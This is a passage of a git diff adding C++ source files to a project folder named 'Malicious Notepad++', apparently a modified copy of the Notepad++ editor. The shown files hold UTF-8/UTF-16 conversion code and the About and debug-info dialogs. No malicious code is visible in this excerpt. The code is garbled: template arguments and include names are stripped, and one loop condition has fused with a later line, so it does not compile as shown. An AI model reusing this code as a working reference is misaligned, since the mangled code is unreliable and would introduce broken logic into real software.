wchar_t * uptr, unsigned int tlen, char * putf, unsigned int len); +unsigned int UCS2Length(const char * s, unsigned int len); +unsigned int UCS2FromUTF8(const char * s, unsigned int len, wchar_t * tbuf, unsigned int tlen); +unsigned int ascii_to_utf8(const char * pszASCII, unsigned int lenASCII, char * pszUTF8); +int utf8_to_ascii(const char * pszUTF8, unsigned int lenUTF8, char * pszASCII); + +#endif //UNICONVERSION_H diff --git a/Malicious Notepad++/src/Utf8.h b/Malicious Notepad++/src/Utf8.h new file mode 100644 index 0000000..178ef0a --- /dev/null +++ b/Malicious Notepad++/src/Utf8.h @@ -0,0 +1,55 @@ +// Simple functions to test UTF-8 characters. +// Copyright (C)2010 Francois-R.Boyer@PolyMtl.ca +// First version 2010-08 +// +// Written for notepad++, and distributed under same license: +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. + +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. + +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + +namespace Utf8 { // could be a static class, instead of a namespace, if it needs private members + // basic classification of UTF-8 bytes + inline static bool isSingleByte(UCHAR c) { return c < 0x80; } + inline static bool isPartOfMultibyte(UCHAR c) { return c >= 0x80; } + inline static bool isFirstOfMultibyte(UCHAR c) { return c >= 0xC2 && c < 0xF5; } // 0xF5 to 0xFD are defined by UTF-8, but are not currently valid Unicode + inline static bool isContinuation(UCHAR c) { return (c & 0xC0) == 0x80; } + inline static bool isValid(UCHAR c) { return c < 0xC0 || isFirstOfMultibyte(c); } // validates a byte, out of context + + // number of continuation bytes for a given valid first character (0 for single byte characters) + inline static int continuationBytes(UCHAR c) { + static const char _len[] = { 1,1,2,3 }; + return (c < 0xC0) ? 0 : _len[(c & 0x30) >> 4]; + } + + // validates a full character + inline static bool isValid(const char* buf, int buflen) { + if(isSingleByte(buf[0])) return true; // single byte is valid + if(!isFirstOfMultibyte(buf[0])) return false; // not single byte, nor valid multi-byte first byte + int charContinuationBytes = continuationBytes(buf[0]); + if(buflen < charContinuationBytes+1) return false; // character does not fit in buffer + for(int i = charContinuationBytes; i>0; --i) + if(!isContinuation(*(++buf))) return false; // not enough continuation bytes + return true; // the character is valid (if there are too many continuation bytes, it is the next character that will be invalid) + } + + // rewinds to the first byte of a multi-byte character for any valid UTF-8 (and will not rewind too much on any other input) + inline static int characterStart(const char* buf, int startingIndex) { + int charContinuationBytes = 0; + while(charContinuationBytes < startingIndex // rewind past start of buffer? + && charContinuationBytes < 5 // UTF-8 support up to 5 continuation bytes (but valid sequences currently do not have more than 3) + && isContinuation(buf[startingIndex-charContinuationBytes]) + ) + ++charContinuationBytes; + return startingIndex-charContinuationBytes; + } +}; diff --git a/Malicious Notepad++/src/Utf8_16.cpp b/Malicious Notepad++/src/Utf8_16.cpp new file mode 100644 index 0000000..d04b00b --- /dev/null +++ b/Malicious Notepad++/src/Utf8_16.cpp @@ -0,0 +1,576 @@ +// Utf8_16.cxx +// Copyright (C) 2002 Scott Kirkwood +// +// Permission to use, copy, modify, distribute and sell this code +// and its documentation for any purpose is hereby granted without fee, +// provided that the above copyright notice appear in all copies or +// any derived copies. Scott Kirkwood makes no representations +// about the suitability of this software for any purpose. +// It is provided "as is" without express or implied warranty. +//////////////////////////////////////////////////////////////////////////////// +// +// Modificated 2006 Jens Lorenz +// +// - Clean up the sources +// - Removing UCS-Bug in Utf8_Iter +// - Add convert function in Utf8_16_Write +//////////////////////////////////////////////////////////////////////////////// + +#include "Utf8_16.h" + +const Utf8_16::utf8 Utf8_16::k_Boms[][3] = { + {0x00, 0x00, 0x00}, // Unknown + {0xEF, 0xBB, 0xBF}, // UTF8 + {0xFE, 0xFF, 0x00}, // Big endian + {0xFF, 0xFE, 0x00}, // Little endian +}; + + +// ================================================================== + +Utf8_16_Read::Utf8_16_Read() { + m_eEncoding = uni8Bit; + m_nAllocatedBufSize = 0; + m_nNewBufSize = 0; + m_pNewBuf = NULL; + m_bFirstRead = true; +} + +Utf8_16_Read::~Utf8_16_Read() +{ + if ((m_eEncoding == uni16BE) || (m_eEncoding == uni16LE) || (m_eEncoding == uni16BE_NoBOM) || (m_eEncoding == uni16LE_NoBOM)) + { + delete [] m_pNewBuf; + m_pNewBuf = NULL; + } +} + +// Returned value : +// 0 : utf8 +// 1 : 7bits +// 2 : 8bits +u78 Utf8_16_Read::utf8_7bits_8bits() +{ + int rv = 1; + int ASCII7only = 1; + utf8 *sx = (utf8 *)m_pBuf; + utf8 *endx = sx + m_nLen; + + while (sx=endx-1) + break; + if ((*sx & 0xC0) != 0xC0 || (sx[1]&(0x80+0x40)) != 0x80) { + rv=0; break; + } + sx+=2; + } + else if (*sx < (0x80 + 0x40 + 0x20 + 0x10)) + { // 1110qqqq 10xxxxvv 10nnnnnn If it begins with E, it is 16 bit + ASCII7only=0; + if (sx>=endx-2) + break; + if ((*sx & 0xE0) != 0xE0 || (sx[1]&(0x80+0x40)) != 0x80 || (sx[2]&(0x80+0x40)) != 0x80) { + rv=0; break; + } + sx+=3; + } + else + { // more than 16 bits are not allowed here + ASCII7only=0; + rv=0; + break; + } + } + if (ASCII7only) + return ascii7bits; + if (rv) + return utf8NoBOM; + return ascii8bits; +} + +size_t Utf8_16_Read::convert(char* buf, size_t len) +{ + // bugfix by Jens Lorenz + static size_t nSkip = 0; + + m_pBuf = (ubyte*)buf; + m_nLen = len; + m_nNewBufSize = 0; + + if (m_bFirstRead == true) + { + determineEncoding(); + nSkip = m_nSkip; + m_bFirstRead = false; + } + + switch (m_eEncoding) + { + case uni7Bit: + case uni8Bit: + case uniCookie: { + // Do nothing, pass through + m_nAllocatedBufSize = 0; + m_pNewBuf = m_pBuf; + m_nNewBufSize = len; + break; + } + case uniUTF8: { + // Pass through after BOM + m_nAllocatedBufSize = 0; + m_pNewBuf = m_pBuf + nSkip; + m_nNewBufSize = len - nSkip; + break; + } + case uni16BE_NoBOM: + case uni16LE_NoBOM: + case uni16BE: + case uni16LE: { + size_t newSize = len + len / 2 + 1; + + if (m_nAllocatedBufSize != newSize) + { + if (m_pNewBuf) + delete [] m_pNewBuf; + m_pNewBuf = NULL; + m_pNewBuf = new ubyte[newSize]; + m_nAllocatedBufSize = newSize; + } + + ubyte* pCur = m_pNewBuf; + + m_Iter16.set(m_pBuf + nSkip, len - nSkip, m_eEncoding); + + for (; m_Iter16; ++m_Iter16) + { + *pCur++ = m_Iter16.get(); + } + m_nNewBufSize = pCur - m_pNewBuf; + break; + } + default: + break; + } + + // necessary for second calls and more + nSkip = 0; + + return m_nNewBufSize; +} + + +void Utf8_16_Read::determineEncoding() +{ + INT uniTest = IS_TEXT_UNICODE_STATISTICS; + m_eEncoding = uni8Bit; + m_nSkip = 0; + + // detect UTF-16 big-endian with BOM + if (m_nLen > 1 && m_pBuf[0] == k_Boms[uni16BE][0] && m_pBuf[1] == k_Boms[uni16BE][1]) + { + m_eEncoding = uni16BE; + m_nSkip = 2; + } + // detect UTF-16 little-endian with BOM + else if (m_nLen > 1 && m_pBuf[0] == k_Boms[uni16LE][0] && m_pBuf[1] == k_Boms[uni16LE][1]) + { + m_eEncoding = uni16LE; + m_nSkip = 2; + } + // detect UTF-8 with BOM + else if (m_nLen > 2 && m_pBuf[0] == k_Boms[uniUTF8][0] && + m_pBuf[1] == k_Boms[uniUTF8][1] && m_pBuf[2] == k_Boms[uniUTF8][2]) + { + m_eEncoding = uniUTF8; + m_nSkip = 3; + } + // try to detect UTF-16 little-endian without BOM + else if (m_nLen > 1 && m_nLen % 2 == 0 && m_pBuf[0] != NULL && m_pBuf[1] == NULL && IsTextUnicode(m_pBuf, static_cast(m_nLen), &uniTest)) + { + m_eEncoding = uni16LE_NoBOM; + m_nSkip = 0; + } + /* UTF-16 big-endian without BOM detection is taken away scince this detection is very week + // try to detect UTF-16 big-endian without BOM + else if (m_nLen > 1 && m_pBuf[0] == NULL && m_pBuf[1] != NULL) + { + m_eEncoding = uni16BE_NoBOM; + m_nSkip = 0; + } + */ + else + { + u78 detectedEncoding = utf8_7bits_8bits(); + if (detectedEncoding == utf8NoBOM) + m_eEncoding = uniCookie; + else if (detectedEncoding == ascii7bits) + m_eEncoding = uni7Bit; + else //(detectedEncoding == ascii8bits) + m_eEncoding = uni8Bit; + m_nSkip = 0; + } +} + +UniMode Utf8_16_Read::determineEncoding(const unsigned char *buf, size_t bufLen) +{ + // detect UTF-16 big-endian with BOM + if (bufLen > 1 && buf[0] == k_Boms[uni16BE][0] && buf[1] == k_Boms[uni16BE][1]) + { + return uni16BE; + } + + // detect UTF-16 little-endian with BOM + if (bufLen > 1 && buf[0] == k_Boms[uni16LE][0] && buf[1] == k_Boms[uni16LE][1]) + { + return uni16LE; + } + + // detect UTF-8 with BOM + if (bufLen > 2 && buf[0] == k_Boms[uniUTF8][0] && + buf[1] == k_Boms[uniUTF8][1] && buf[2] == k_Boms[uniUTF8][2]) + { + return uniUTF8; + } + + return uni8Bit; +} + + +// ================================================================== + +Utf8_16_Write::Utf8_16_Write() +{ + m_eEncoding = uni8Bit; + m_pFile = NULL; + m_pNewBuf = NULL; + m_bFirstWrite = true; + m_nBufSize = 0; +} + +Utf8_16_Write::~Utf8_16_Write() +{ + fclose(); +} + +FILE * Utf8_16_Write::fopen(const TCHAR *_name, const TCHAR *_type) +{ + m_pFile = ::generic_fopen(_name, _type); + + m_bFirstWrite = true; + + return m_pFile; +} + +size_t Utf8_16_Write::fwrite(const void* p, size_t _size) +{ + // no file open + if (!m_pFile) + { + return 0; + } + + size_t ret = 0; + + if (m_bFirstWrite) + { + switch (m_eEncoding) + { + case uniUTF8: { + ::fwrite(k_Boms[m_eEncoding], 3, 1, m_pFile); + break; + } + case uni16BE: + case uni16LE: + ::fwrite(k_Boms[m_eEncoding], 2, 1, m_pFile); + break; + default: + // nothing to do + break; + } + m_bFirstWrite = false; + } + + switch (m_eEncoding) + { + case uni7Bit: + case uni8Bit: + case uniCookie: + case uniUTF8: { + // Normal write + ret = ::fwrite(p, _size, 1, m_pFile); + break; + } + case uni16BE_NoBOM: + case uni16LE_NoBOM: + case uni16BE: + case uni16LE: { + static const int bufSize = 64*1024; + utf16 buf[bufSize]; + + Utf8_Iter iter8; + iter8.set(static_cast(p), _size, m_eEncoding); + + int bufIndex = 0; + while (iter8) { + if (iter8.canGet()) { + buf[bufIndex++] = iter8.get(); + } + ++iter8; + if(bufIndex == bufSize || !iter8) { + if(!::fwrite(buf, bufIndex*sizeof(utf16), 1, m_pFile)) return 0; + bufIndex = 0; + } + } + ret = 1; + break; + } + default: + break; + } + + return ret; +} + + +size_t Utf8_16_Write::convert(char* p, size_t _size) +{ + if (m_pNewBuf) + { + delete [] m_pNewBuf; + } + + switch (m_eEncoding) + { + case uni7Bit: + case uni8Bit: + case uniCookie: { + // Normal write + m_nBufSize = _size; + m_pNewBuf = (ubyte*)new ubyte[m_nBufSize]; + memcpy(m_pNewBuf, p, _size); + break; + } + case uniUTF8: { + m_nBufSize = _size + 3; + m_pNewBuf = (ubyte*)new ubyte[m_nBufSize]; + memcpy(m_pNewBuf, k_Boms[m_eEncoding], 3); + memcpy(&m_pNewBuf[3], p, _size); + break; + } + case uni16BE_NoBOM: + case uni16LE_NoBOM: + case uni16BE: + case uni16LE: + { + utf16* pCur = NULL; + + if (m_eEncoding == uni16BE || m_eEncoding == uni16LE) { + // Write the BOM + m_pNewBuf = (ubyte*)new ubyte[sizeof(utf16) * (_size + 1)]; + memcpy(m_pNewBuf, k_Boms[m_eEncoding], 2); + pCur = (utf16*)&m_pNewBuf[2]; + } else { + m_pNewBuf = (ubyte*)new ubyte[sizeof(utf16) * _size]; + pCur = (utf16*)m_pNewBuf; + } + + Utf8_Iter iter8; + iter8.set(reinterpret_cast(p), _size, m_eEncoding); + + for (; iter8; ++iter8) { + if (iter8.canGet()) { + *pCur++ = iter8.get(); + } + } + m_nBufSize = (const char*)pCur - (const char*)m_pNewBuf; + break; + } + default: + break; + } + + return m_nBufSize; +} + + +void Utf8_16_Write::setEncoding(UniMode eType) +{ + m_eEncoding = eType; +} + + +void Utf8_16_Write::fclose() +{ + if (m_pNewBuf) + delete [] m_pNewBuf; + + if (m_pFile) + ::fclose(m_pFile); +} + + +//================================================================= +Utf8_Iter::Utf8_Iter() +{ + reset(); +} + +void Utf8_Iter::reset() +{ + m_pBuf = NULL; + m_pRead = NULL; + m_pEnd = NULL; + m_eState = eStart; + m_nCur = 0; + m_eEncoding = uni8Bit; +} + +void Utf8_Iter::set(const ubyte* pBuf, size_t nLen, UniMode eEncoding) +{ + m_pBuf = pBuf; + m_pRead = pBuf; + m_pEnd = pBuf + nLen; + m_eEncoding = eEncoding; + operator++(); + // Note: m_eState, m_nCur not set +} + +// Go to the next byte. +void Utf8_Iter::operator++() +{ + switch (m_eState) + { + case eStart: + if (*m_pRead < 0x80) { + m_nCur = *m_pRead; + toStart(); + } else if (*m_pRead < 0xE0) { + m_nCur = static_cast((0x1F & *m_pRead) << 6); + m_eState = e2Bytes_Byte2; + } else { + m_nCur = static_cast((0xF & *m_pRead) << 12); + m_eState = e3Bytes_Byte2; + } + break; + case e2Bytes_Byte2: + case e3Bytes_Byte3: + m_nCur |= static_cast(0x3F & *m_pRead); + toStart(); + break; + case e3Bytes_Byte2: + m_nCur |= static_cast((0x3F & *m_pRead) << 6); + m_eState = e3Bytes_Byte3; + break; + } + ++m_pRead; +} + +void Utf8_Iter::toStart() +{ + m_eState = eStart; + if (m_eEncoding == uni16BE || m_eEncoding == uni16BE_NoBOM) + { + swap(); + } +} + +void Utf8_Iter::swap() +{ + utf8* p = reinterpret_cast(&m_nCur); + utf8 swapbyte = *p; + *p = *(p + 1); + *(p + 1) = swapbyte; +} + +//================================================== +Utf16_Iter::Utf16_Iter() +{ + reset(); +} + +void Utf16_Iter::reset() +{ + m_pBuf = NULL; + m_pRead = NULL; + m_pEnd = NULL; + m_eState = eStart; + m_nCur = 0; + m_nCur16 = 0; + m_eEncoding = uni8Bit; +} + +void Utf16_Iter::set(const ubyte* pBuf, size_t nLen, UniMode eEncoding) +{ + m_pBuf = pBuf; + m_pRead = pBuf; + m_pEnd = pBuf + nLen; + m_eEncoding = eEncoding; + m_eState = eStart; + operator++(); + // Note: m_eState, m_nCur, m_nCur16 not reinitalized. +} + +// Goes to the next byte. +// Not the next symbol which you might expect. +// This way we can continue from a partial buffer that doesn't align +void Utf16_Iter::operator++() +{ + switch (m_eState) + { + case eStart: + if (m_eEncoding == uni16LE || m_eEncoding == uni16LE_NoBOM) + { + m_nCur16 = *m_pRead++; + m_nCur16 |= static_cast(*m_pRead << 8); + } + else //(m_eEncoding == uni16BE || m_eEncoding == uni16BE_NoBOM) + { + m_nCur16 = static_cast(*m_pRead++ << 8); + m_nCur16 |= *m_pRead; + } + ++m_pRead; + + if (m_nCur16 < 0x80) { + m_nCur = static_cast(m_nCur16 & 0xFF); + m_eState = eStart; + } else if (m_nCur16 < 0x800) { + m_nCur = static_cast(0xC0 | m_nCur16 >> 6); + m_eState = e2Bytes2; + } else { + m_nCur = static_cast(0xE0 | m_nCur16 >> 12); + m_eState = e3Bytes2; + } + break; + case e2Bytes2: + case e3Bytes3: + m_nCur = static_cast(0x80 | m_nCur16 & 0x3F); + m_eState = eStart; + break; + case e3Bytes2: + m_nCur = static_cast(0x80 | ((m_nCur16 >> 6) & 0x3F)); + m_eState = e3Bytes3; + break; + } +} + + diff --git a/Malicious Notepad++/src/Utf8_16.h b/Malicious Notepad++/src/Utf8_16.h new file mode 100644 index 0000000..6795734 --- /dev/null +++ b/Malicious Notepad++/src/Utf8_16.h @@ -0,0 +1,164 @@ +// Utf8_16.h +// Copyright (C) 2002 Scott Kirkwood +// +// Permission to use, copy, modify, distribute and sell this code +// and its documentation for any purpose is hereby granted without fee, +// provided that the above copyright notice appear in all copies or +// any derived copies. Scott Kirkwood makes no representations +// about the suitability of this software for any purpose. +// It is provided "as is" without express or implied warranty. +// +// Notes: Used the UTF information I found at: +// http://www.cl.cam.ac.uk/~mgk25/unicode.html +//////////////////////////////////////////////////////////////////////////////// +// +// Modificated 2006 Jens Lorenz +// +// - Clean up the sources +// - Removing UCS-Bug in Utf8_Iter +// - Add convert function in Utf8_16_Write +//////////////////////////////////////////////////////////////////////////////// + +#ifndef UTF8_16_H + +#pragma once + +#ifndef PARAMETERS_H +#include "Parameters.h" +#endif// PARAMETERS_H + +#ifdef _MSC_VER +#pragma warning(disable: 4514) // nreferenced inline function has been removed +#endif + +class Utf8_16 { +public: + typedef unsigned short utf16; // 16 bits + typedef UCHAR utf8; // 8 bits + typedef UCHAR ubyte; + static const utf8 k_Boms[uniEnd][3]; +}; + +// Reads UTF-16 and outputs UTF-8 +class Utf16_Iter : public Utf8_16 { +public: + enum eState { + eStart, + e2Bytes2, + e3Bytes2, + e3Bytes3 + }; + + Utf16_Iter(); + void reset(); + void set(const ubyte* pBuf, size_t nLen, UniMode eEncoding); + utf8 get() const { return m_nCur; }; + void operator++(); + eState getState() { return m_eState; }; + operator bool() { return m_pRead <= m_pEnd; }; + +protected: + void toStart(); // Put to start state, swap bytes if necessary + +protected: + UniMode m_eEncoding; + eState m_eState; + utf8 m_nCur; + utf16 m_nCur16; + const ubyte* m_pBuf; + const ubyte* m_pRead; + const ubyte* m_pEnd; +}; + +// Reads UTF-8 and outputs UTF-16 +class Utf8_Iter : public Utf8_16 { +public: + Utf8_Iter(); + void reset(); + void set(const ubyte* pBuf, size_t nLen, UniMode eEncoding); + utf16 get() const { +#ifdef _DEBUG + assert(m_eState == eStart); +#endif + return m_nCur; + } + bool canGet() const { return m_eState == eStart; } + void operator++(); + operator bool() { return m_pRead <= m_pEnd; } + +protected: + void swap(); + void toStart(); // Put to start state, swap bytes if necessary + enum eState { + eStart, + e2Bytes_Byte2, + e3Bytes_Byte2, + e3Bytes_Byte3 + }; +protected: + UniMode m_eEncoding; + eState m_eState; + utf16 m_nCur; + const ubyte* m_pBuf; + const ubyte* m_pRead; + const ubyte* m_pEnd; +}; + +// Reads UTF16 and outputs UTF8 +enum u78 {utf8NoBOM=0, ascii7bits=1, ascii8bits=2}; +class Utf8_16_Read : public Utf8_16 { +public: + Utf8_16_Read(); + ~Utf8_16_Read(); + + size_t convert(char* buf, size_t len); + const char* getNewBuf() const { return (const char*) m_pNewBuf; } + size_t getNewSize() const { return m_nNewBufSize; } + + UniMode getEncoding() const { return m_eEncoding; } + size_t calcCurPos(size_t pos); + static UniMode determineEncoding(const unsigned char *buf, size_t bufLen); + +protected: + void determineEncoding(); + + u78 utf8_7bits_8bits(); +private: + UniMode m_eEncoding; + ubyte* m_pBuf; + ubyte* m_pNewBuf; + // size of the new buffer + size_t m_nNewBufSize; + // size of the previously allocated buffer (if != 0) + size_t m_nAllocatedBufSize; + size_t m_nSkip; + bool m_bFirstRead; + size_t m_nLen; + Utf16_Iter m_Iter16; +}; + +// Read in a UTF-8 buffer and write out to UTF-16 or UTF-8 +class Utf8_16_Write : public Utf8_16 { +public: + Utf8_16_Write(); + ~Utf8_16_Write(); + + void setEncoding(UniMode eType); + + FILE * fopen(const TCHAR *_name, const TCHAR *_type); + size_t fwrite(const void* p, size_t _size); + void fclose(); + + size_t convert(char* p, size_t _size); + char* getNewBuf() { return reinterpret_cast(m_pNewBuf); } + size_t calcCurPos(size_t pos); + +protected: + UniMode m_eEncoding; + FILE* m_pFile; + ubyte* m_pNewBuf; + size_t m_nBufSize; + bool m_bFirstWrite; +}; + +#endif// UTF8_16_H diff --git a/Malicious Notepad++/src/WinControls/AboutDlg/AboutDlg.cpp b/Malicious Notepad++/src/WinControls/AboutDlg/AboutDlg.cpp new file mode 100644 index 0000000..8d61477 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/AboutDlg/AboutDlg.cpp @@ -0,0 +1,225 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + + +#include +#include + +#include "AboutDlg.h" +#include "Parameters.h" + +INT_PTR CALLBACK AboutDlg::run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam) +{ + switch (message) + { + case WM_INITDIALOG : + { + HWND compileDateHandle = ::GetDlgItem(_hSelf, IDC_BUILD_DATETIME); + generic_string buildTime = TEXT("Build time : "); + + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + buildTime += wmc->char2wchar(__DATE__, CP_ACP); + buildTime += TEXT(" - "); + buildTime += wmc->char2wchar(__TIME__, CP_ACP); + + NppParameters *pNppParam = NppParameters::getInstance(); + LPCTSTR bitness = pNppParam ->isx64() ? TEXT("(64-bit)") : TEXT("(32-bit)"); + ::SetDlgItemText(_hSelf, IDC_VERSION_BIT, bitness); + + ::SendMessage(compileDateHandle, WM_SETTEXT, 0, reinterpret_cast(buildTime.c_str())); + ::EnableWindow(compileDateHandle, FALSE); + + HWND licenceEditHandle = ::GetDlgItem(_hSelf, IDC_LICENCE_EDIT); + ::SendMessage(licenceEditHandle, WM_SETTEXT, 0, reinterpret_cast(LICENCE_TXT)); + + _emailLink.init(_hInst, _hSelf); + //_emailLink.create(::GetDlgItem(_hSelf, IDC_AUTHOR_NAME), TEXT("mailto:don.h@free.fr")); + _emailLink.create(::GetDlgItem(_hSelf, IDC_AUTHOR_NAME), TEXT("https://notepad-plus-plus.org/contributors")); + + _pageLink.init(_hInst, _hSelf); + _pageLink.create(::GetDlgItem(_hSelf, IDC_HOME_ADDR), TEXT("https://notepad-plus-plus.org/")); + + getClientRect(_rc); + + ETDTProc enableDlgTheme = (ETDTProc)pNppParam->getEnableThemeDlgTexture(); + if (enableDlgTheme) + { + enableDlgTheme(_hSelf, ETDT_ENABLETAB); + redraw(); + } + + return TRUE; + } + + case WM_DRAWITEM : + { + HICON hIcon = (HICON)::LoadImage(_hInst, MAKEINTRESOURCE(IDI_CHAMELEON), IMAGE_ICON, 64, 64, LR_DEFAULTSIZE); + //HICON hIcon = (HICON)::LoadImage(_hInst, MAKEINTRESOURCE(IDI_JESUISCHARLIE), IMAGE_ICON, 64, 64, LR_DEFAULTSIZE); + DRAWITEMSTRUCT *pdis = (DRAWITEMSTRUCT *)lParam; + ::DrawIconEx(pdis->hDC, 0, 0, hIcon, 64, 64, 0, NULL, DI_NORMAL); + return TRUE; + } + + case WM_COMMAND : + { + switch (wParam) + { + case IDCANCEL : + case IDOK : + display(false); + return TRUE; + + default : + break; + } + } + + case WM_DESTROY : + { + return TRUE; + } + } + return FALSE; +} + +void AboutDlg::doDialog() +{ + if (!isCreated()) + create(IDD_ABOUTBOX); + + // Adjust the position of AboutBox + goToCenter(); +} + + +INT_PTR CALLBACK DebugInfoDlg::run_dlgProc(UINT message, WPARAM wParam, LPARAM /*lParam*/) +{ + switch (message) + { + case WM_INITDIALOG: + { + NppParameters *pNppParam = NppParameters::getInstance(); + + // Notepad++ version + _debugInfoStr = NOTEPAD_PLUS_VERSION; + _debugInfoStr += pNppParam->isx64() ? TEXT(" (64-bit)") : TEXT(" (32-bit)"); + _debugInfoStr += TEXT("\r\n"); + + // Build time + _debugInfoStr += TEXT("Build time : "); + generic_string buildTime; + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + buildTime += wmc->char2wchar(__DATE__, CP_ACP); + buildTime += TEXT(" - "); + buildTime += wmc->char2wchar(__TIME__, CP_ACP); + _debugInfoStr += buildTime; + _debugInfoStr += TEXT("\r\n"); + + // Binary path + _debugInfoStr += TEXT("Path : "); + TCHAR nppFullPath[MAX_PATH]; + ::GetModuleFileName(NULL, nppFullPath, MAX_PATH); + _debugInfoStr += nppFullPath; + _debugInfoStr += TEXT("\r\n"); + + // Administrator mode + _debugInfoStr += TEXT("Admin mode : "); + _debugInfoStr += (_isAdmin ? TEXT("ON") : TEXT("OFF")); + _debugInfoStr += TEXT("\r\n"); + + // local conf + _debugInfoStr += TEXT("Local Conf mode : "); + bool doLocalConf = (NppParameters::getInstance())->isLocal(); + _debugInfoStr += (doLocalConf ? TEXT("ON") : TEXT("OFF")); + _debugInfoStr += TEXT("\r\n"); + + // OS version + _debugInfoStr += TEXT("OS : "); + _debugInfoStr += (NppParameters::getInstance())->getWinVersionStr(); + _debugInfoStr += TEXT(" ("); + _debugInfoStr += (NppParameters::getInstance())->getWinVerBitStr(); + _debugInfoStr += TEXT(")"); + _debugInfoStr += TEXT("\r\n"); + + // Plugins + _debugInfoStr += TEXT("Plugins : "); + _debugInfoStr += _loadedPlugins.length() == 0 ? TEXT("none") : _loadedPlugins; + _debugInfoStr += TEXT("\r\n"); + + ::SetDlgItemText(_hSelf, IDC_DEBUGINFO_EDIT, _debugInfoStr.c_str()); + + _copyToClipboardLink.init(_hInst, _hSelf); + _copyToClipboardLink.create(::GetDlgItem(_hSelf, IDC_DEBUGINFO_COPYLINK), IDC_DEBUGINFO_COPYLINK); + + getClientRect(_rc); + return TRUE; + } + + case WM_COMMAND: + { + switch (wParam) + { + case IDCANCEL: + case IDOK: + display(false); + return TRUE; + + case IDC_DEBUGINFO_COPYLINK: + { + if ((GetKeyState(VK_LBUTTON) & 0x100) != 0) + { + // Visual effect + ::SendDlgItemMessage(_hSelf, IDC_DEBUGINFO_EDIT, EM_SETSEL, 0, _debugInfoStr.length() - 1); + + // Copy to clipboard + str2Clipboard(_debugInfoStr, _hSelf); + } + return TRUE; + } + default: + break; + } + } + + case WM_DESTROY: + { + return TRUE; + } + } + return FALSE; +} + +void DebugInfoDlg::doDialog() +{ + if (!isCreated()) + create(IDD_DEBUGINFOBOX); + + // Adjust the position of AboutBox + goToCenter(); +} + diff --git a/Malicious Notepad++/src/WinControls/AboutDlg/AboutDlg.h b/Malicious Notepad++/src/WinControls/AboutDlg/AboutDlg.h new file mode 100644 index 0000000..b5966c1 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/AboutDlg/AboutDlg.h @@ -0,0 +1,98 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#pragma once + +#include "URLCtrl.h" +#include "resource.h" +#include "StaticDialog.h" + +#define LICENCE_TXT \ +TEXT("This program is free software; you can redistribute it and/or \ +modify it under the terms of the GNU General Public License \ +as published by the Free Software Foundation; either \ +version 2 of the License, or (at your option) any later version.\r\n\ +\r\n\ +This program is distributed in the hope that it will be useful, \ +but WITHOUT ANY WARRANTY; without even the implied warranty of \ +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the \ +GNU General Public License for more details. \r\n\ +\r\n\ +You should have received a copy of the GNU General Public License \ +along with this program; if not, write to the Free Software \ +Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.") + + +class AboutDlg : public StaticDialog +{ +public : + AboutDlg() : StaticDialog() {}; + + void doDialog(); + + virtual void destroy() { + _emailLink.destroy(); + _pageLink.destroy(); + }; + +protected : + virtual INT_PTR CALLBACK run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam); + +private : + URLCtrl _emailLink; + URLCtrl _pageLink; +}; + + +class DebugInfoDlg : public StaticDialog +{ +public: + DebugInfoDlg() : StaticDialog() {}; + + void init(HINSTANCE hInst, HWND parent, bool isAdmin, generic_string loadedPlugins) { + _isAdmin = isAdmin; + _loadedPlugins = loadedPlugins; + Window::init(hInst, parent); + }; + + void doDialog(); + + virtual void destroy() { + _copyToClipboardLink.destroy(); + }; + +protected: + virtual INT_PTR CALLBACK run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam); + +private: + generic_string _debugInfoStr; + bool _isAdmin = false; + generic_string _loadedPlugins; + URLCtrl _copyToClipboardLink; +}; + diff --git a/Malicious Notepad++/src/WinControls/AboutDlg/URLCtrl.cpp b/Malicious Notepad++/src/WinControls/AboutDlg/URLCtrl.cpp new file mode 100644 index 0000000..e64b62b --- /dev/null +++ b/Malicious Notepad++/src/WinControls/AboutDlg/URLCtrl.cpp @@ -0,0 +1,300 @@ +// This file is 